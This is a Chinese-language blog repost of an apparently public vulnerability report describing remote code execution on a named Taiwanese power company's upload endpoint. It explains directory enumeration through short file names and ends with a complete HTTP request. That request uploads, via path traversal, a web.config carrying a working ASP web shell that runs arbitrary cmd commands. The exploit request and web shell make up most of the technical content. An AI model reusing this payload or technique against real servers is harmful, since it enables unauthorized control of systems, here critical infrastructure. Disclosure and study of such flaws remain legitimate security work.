文章总结: 这篇文章描述了某电力公司网站的远程代码执行漏洞利用过程。攻击者通过任意文件上传漏洞,穷举目录结构找到web目录位置,然后上传恶意的web.config文件而非直接上传webshell,最终成功实现远程代码执行。文章详细展示了攻击者如何绕过安全限制,执行系统命令并获取服务器控制权的过程。
综合评分: 87
文章分类: 渗透测试,WEB安全,漏洞分析,红队,代码审计
某电力公司web.config的RCE之旅
Kaibro
菜鸟学信安
2025年8月12日 08:30
甘肃
报告来源于某漏洞平台,是已公开的报告,作者:@Kaibro
0x01 叙述
https://ebppsmtp.taipower.com.tw/uploadfile/UploadFile.aspx 存在任意文件上传漏洞,上传文件內容及路径攻击者可控。
由于 web目录不在常见路径下,所以沒办法直接写入 webshell
但因为该路径使用短文件名格式,且不存在或无法写入路径会提示上传失败,所以可以穷举目录结构:
- c:/var/ - customers - delta - docs - downloads - FolderRequest - export - images - import - list - logfiles - quest - report - temp - templates - update - uploads - users - featur~1 - subscr~1 - unsubs~1 - return~1 - replym~1 - receiv~1
0x02 上传文件过程
经过研究后发现实体路径C:/var/*下的內容对应到网站路径的 https://ebppsmtp.taipower.com.tw/var/*
由于尝试上传 asp / aspx / asmx 皆未被解析,故改以写入 web.config 方式,成功取得系統控制权限。
上传 web.config webshell:
执行命令
执行 ipconfig 确认该机器位于 10.X.X.X 网段
上传 web.config webshell 请求包:
POST /uploadfile/UploadFile.aspx HTTP/1.1Host: ebppsmtp.taipower.com.twCookie: ASP.NET_SessionId=g0mm3f454prtib55g5nwkj45Content-Length: 1354Origin: https://ebppsmtp.taipower.com.twContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryv00ZBQrKTDBA8xQSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Connection: close
------WebKitFormBoundaryv00ZBQrKTDBA8xQSContent-Disposition: form-data; name="UploadFile"; filename="hi.txt"Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?><configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer></configuration><!--<%Response.Write("-"&"->")Function GetCommandOutput(command) Set shell = CreateObject("WScript.Shell") Set exec = shell.Exec(command) GetCommandOutput = exec.StdOut.ReadAllEnd FunctionResponse.Write(GetCommandOutput("cmd /c " + Request("cmd")))Response.Write("<!-"&"-")%>-->
------WebKitFormBoundaryv00ZBQrKTDBA8xQSContent-Disposition: form-data; name="UploadFileName"
../../../../../var/uploads/web.config------WebKitFormBoundaryv00ZBQrKTDBA8xQS--
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:菜鸟学信安 Kaibro《某电力公司web.config的RCE之旅》